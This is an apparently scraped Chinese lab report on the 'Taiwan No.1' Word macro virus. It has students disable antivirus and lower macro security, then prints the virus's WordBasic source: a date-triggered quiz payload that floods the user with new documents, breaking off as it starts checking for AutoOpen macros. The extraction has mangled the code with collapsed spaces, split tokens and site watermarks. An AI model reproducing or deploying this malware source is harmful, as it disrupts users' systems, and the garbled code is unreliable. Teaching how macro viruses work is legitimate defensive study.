计算机病毒原理-台湾1号病毒实验报告材料

《计算机病毒原理-台湾1号病毒实验报告材料》由会员上传分享，免费在线阅读，更多相关内容在应用文档-天天文库。

1、实用标准文案计算机病毒实验报告姓名：学号:老师：日期：文档实用标准文案一.实验目的台湾1号病毒是一种破坏力较大的宏病毒！Word宏是指能组织到一起为独立命令使用的一系列Word指令，它能使日常工作变得容易。本实验演示了宏的编写，通过台湾1号病毒示例，说明宏的原理及其安全漏洞和缺陷，理解宏病毒的作用机制，从而加强对宏病毒的认识，提高防范意识。二.实验内容1.macrovirus中的内容2.计算机病毒篇---->计算机宏病毒三.实验环境1.macrovirus硬件设备：局域网，终端PC机。系统软件：Windows系列操作系统支撑软件：Word2003软件设置：关闭杀毒

2、软；打开Word2003，在工具à宏à安全性中，将安全级别设置为低，在可靠发行商选项卡中，选择信任任何所有安装的加载项和模板，选择信任visualbasic项目的访问.实验环境配置如下图所示：文档实用标准文案2.计算机宏病毒硬件设备：部署WIN2003系统的PC机一台软件工具：Officeword2007四．实验步骤及截图文档实用标准文案台湾1号病毒代码TaiwanNo.1病毒原始码 DimSharednm(4) SubMAIN DisableInput1 IfDay(Now())=13Then try:   OnErrorGoto0   OnErrorGotot

3、ry   test=-1   con=1   tog$=""   i=0   Whiletest=-1     Fori=0To4文档实用标准文案       nm(i)=Int(Rnd()*10000)                                    con=(con*nm(i))       Ifi=4Then         tog$=tog$+Str$(nm(4))+"=?"         Gotobeg     EndIf       tog$=tog$+Str$(nm(i))+"*"     Nexti     rem随机选出四

4、个千位数,以便等一下的游戏 beg:                 Beep     rem电脑发出"哔"一声 文档实用标准文案     ans$=InputBox$("今天是"+Date$()+",跟你玩一个心算游戏"     +Chr$(13)+/     "若你答错,只好接受震撼教育.............."+Chr$(13)+/     tog$,"台湾NO.1MacroVirus")     rem开个对话盒,以便输入解答用      IfRTrim$(LTrim$(ans$))=LTrim$(Str$(con))Then       MsgBox

5、"恭贺你答对了,按确定就告诉你想知道的....",/       "台湾NO.1MacroVirus"       FileNewDefault       CenterPara       FormatFont.Font="细明体",.Points=16,.Bold=1,.Underline=1       Beep文档实用标准文案       Insert"何谓巨集病毒？"       InsertPara       Beep       Insert"答案:"       Italic1       Insert"我就是....."       Inser

6、tPara       InsertPara       Italic0       FormatFont.Font="细明体",.Points=16,.Bold=1,.Underline=1       Beep       Insert"如何预防巨集病毒？"       InsertPara       Beep       Insert"答案:"文档实用标准文案       Italic1       Insert"不要看我....."       Gotoexit     Else       Forj=1To20         Beep        

7、 FileNewDefault       Nextj        CenterPara       FormatFont.Font="细明体",.Points=16,.Bold=1,.Underline=1       Insert"巨集病毒"       Gototry     EndIf    Wend文档实用标准文案 EndIf  nor=CountMacros(0)  Ifnor>0Then   Forkk=1Tonor     IfMacroName$(kk,0)="AutoOpen"Thent=1     EndIf   Nextkk EndIf 

8、  fil